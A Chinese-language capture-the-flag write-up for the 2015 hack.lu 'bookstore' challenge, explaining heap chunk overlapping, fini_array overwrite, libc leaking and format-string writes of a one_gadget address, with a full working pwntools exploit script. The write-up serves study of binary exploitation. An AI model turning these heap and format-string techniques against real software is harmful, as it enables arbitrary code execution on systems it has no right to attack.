首先提供题目的二进制文件:2015_hacklu

预览:

2015-hacklu-bookstore

程序为64位,然后没有relro,没有pie,给调试带来很大方便。放进ida看看基本功能:

2015-hacklu-bookstore

可以看到程序开始的时候已经在堆申请了三个堆块,且大小固定为0x80。

2015-hacklu-bookstore

这里感觉怪怪的,s可以输入0x80个字符。。。。应该会有用处。

2015-hacklu-bookstore

可以看到程序最后有一个格式化字符串漏洞,我们通过经验得知,通过精心构造格式化字符串可以实现任意地址读写功能。所以我们的问题关注点应该暂时放到如何构造格式化字符串中。

接着往下看,看完后发现实际上程序功能很简单,就两个小功能,一个输入任意字节的输入功能,一个free()功能(uaf没什么用。)。

暂时有用的漏洞就是格式化字符串漏洞任意溢出漏洞

漏洞如何利用:

  1. 以格式化字符串漏洞为主线索来逆向推理分析,如何控制dest???,我们发现程序中好像没有可以控制dest的功能(任意溢出漏洞虽然可以覆盖到,但是之后dest会被更新为固定的字符串)。。。真让人头秃,只有自己构造了。。。。然后发现最后一个功能里的v5指向的chunk的位置还未固定(malloc()从bins里找chunk,而bins里的chunk是可控的),所以我们可以利用任意溢出漏洞更改v7指向的chunk的大小为0x150,然后free(),再通过程序的malloc(0x140)来实现chunkoverlapping,从而使v5指向的地址位于dest地址前面,然后利用填充v5的机会构造dest。这里还需要注意的地方是free(2)的时候,因为大小属于small chunk所以会有两道检查,一个是防止和后一块合并,所以必须伪造后后一块,并使其prev_inuse位为1,另一个是后一块的prev_inuse位要为1。

    2015-hacklu-bookstore

  2. 相信大家都能注意到,就是程序运行了一次就结束了,而我们至少需要两次运行,一次leak,一次change,所以这里需要利用第一次的机会来将fini_arry0改为main_addr,并且泄露libc地址(main函数返回到__libc_start_main中,可以在格式化字符串前来下断点,通过查看栈的数据来查看偏移,进而获得libc地址。),现在还有一个问题是fini_arry0怎么输入进栈并且确定偏移???这里需要打破常规思维,需要改的数据可以不在格式化字符串里,只要偏移可以确定就行!,这时候就想到了之前的那个s给了0x80的空间,我们可以将fini_arry0输入到s里然后通过调试确定偏移。

  3. 如果我们这时候继续往下做的时候做到最后会发现一个问题:改过got表之后程序已经几乎结束,不会再调用函数了,所以改了也没用,所以我们只能改main函数返回地址为one_gadget了,这时候我们就要确定泄露一个和返回地址的地址相对偏移不变的值,经过观察发现有一个存在,然后泄露他。

    2015-hacklu-bookstore

  4. 第二次返回时我们的任务就变成了改ret_addr为one_gadget即可。只需要改后面的三个字节即可(可通过调试发现)。

exp如下:

#coding:utf-8

from pwn import *

context(arch='amd64',os='linux')
#context.log_level='debug'
p=process('./books')
P=ELF('./books')
libc=ELF('./libc.so.6')
#gdb.attach(p,'b *0x400c8e')
#创建各个函数
def edit(ID,des):
	p.recvuntil('5: Submit\n')
	p.sendline(str(ID))
	p.recvuntil('er:\n')
	p.sendline(des)

def delete(ID):
	p.recvuntil('5: Submit\n')
	p.sendline(str(ID+2))

def submit(payload):
	p.recvuntil('5: Submit\n')
	p.sendline('5'+payload)

#先构造chunk1造成over lapping 并且构造dest  两个目的:1.泄露__libc_main_ret
#2.将fini_arry0改为main_addr
fini_arry0=0x6011b8  #0x400830
main_addr=0x400a39
payload = '%'+str(0xa39)+'c%13$hn'+'.%31$p'+',%28$p'
payload = payload.ljust(0x74,'a')
payload = payload.ljust(0x80,'\x00')
payload+= p64(0x90)
payload+= p64(0x151)
payload+= 'a'*0x140
payload+= p64(0x150)              
payload+= p64(0x21)               #为了bypass the check: !prev_inuse(next_chunk)
payload+= 'a'*0x10
payload+= p64(0x20)+p64(0x21)     #为了使0x150的块不和nextchunk合并  
#delete(2)
edit(1,payload)
delete(2)
submit('aaaaaaa'+p64(fini_arry0))
#submit('aaaaaaa')
#gdb.attach(p)

p.recvuntil('.')
p.recvuntil('.')
p.recvuntil('.')
date = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
date =int(date,16) - 240
ret_addr = int(ret_addr,16) - 0xd8 -0x110
libcbase = date - libc.symbols['__libc_start_main']
one_gadget = libcbase + 0x45216  #0x4526a 0xf02a4 0xf1147
log.success('ret_addr = ' + hex(ret_addr))

#raw_input()
one_shot1 ='0x' + str(hex(one_gadget))[-2:]
one_shot2 ='0x' + str(hex(one_gadget))[-6:-2]
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)

payload = '%' + str(one_shot1) + 'd%13$hhn'
payload+= '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload=payload.ljust(0x74,'a')
payload=payload.ljust(0x80,'\x00')
payload+=p64(0x90)
payload+=p64(0x151)
payload+= 'a'*0x140
payload+= p64(0x150)
payload+= p64(0x21)
payload+= 'a'*0x10+p64(0x20)+p64(0x21)
#delete(2)
edit(1,payload)
delete(2)
submit('aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))

p.interactive()

我第一次做的时候的一些心得:

2015_hacklu_bookstore:

  • 这一题看似漏洞较多,但实际上难度不小,而且知识比较综合(有格式化字符串,堆栈的结合,overlapping,uaf等),利用起来很困难,费了很大劲才弄懂exp。还要感谢看雪的师傅。

  • 学到的东西:

    1. 使程序再次运行的方法:改写fini_arry0的内容(一般在.fini_arry段中,在ida中ctrl+s寻找位置)为main_addr,可以再次运行,但只能用一次。

    2. ida中使数字解析为字符串的方法,按r即可。

    3. free(fast_bin(64位的极限是0x70))时不需检查,而free(small_bin(64位是大于等于0x80))时,需要考虑几个因素:

      @1有可能会需要占位的堆块,防止被top chunk合并。

      @2可能会造成unlink效应,注意构造时的size的inuse位,检查prev_chunk的占用情况,如果要unlink,两个堆块都要在small_bin的范围内。 @3会检查next_chunk(prev_inuse)的值是否为1,而next_chunk_addr=chunk_addr+chunk_size,chunk_size为自己构造,需注意。

  • 利用overlapping构造格式化字符串来造成任意读写,得知偏移后提前构造栈的结构。

  • 当通过格式化字符串获取任意写的功能时,除了向got表内写,还可以改写函数的返回地址为one_gadget(当然不一定能成功),这时就需要获取返回地址的地址,也就是栈中的某一个的地址,一般需要通过观察栈中数据是否有指向栈的并且和返回地址有固定的偏移,泄露其数值加上偏移即可得到返回地址的地址。

  • 格式化字符串用%p打印出来的内容无需解包直接接受即可(所有内容都是字符,比如:0x600124则需要data=int(p.recv(8),16)),%s需要解包(接受时是以字符接受的,0x600124为data=u64(p.recv()[0:3].ljust(8,’\x00’)))。

  • [-2:]和[-2:0]的区别。。。

  • 当利用改fini_arry0为main_addr而使程序再次回到开头时,程序的两次返回地址之间有一个固定的偏移。

相关文章: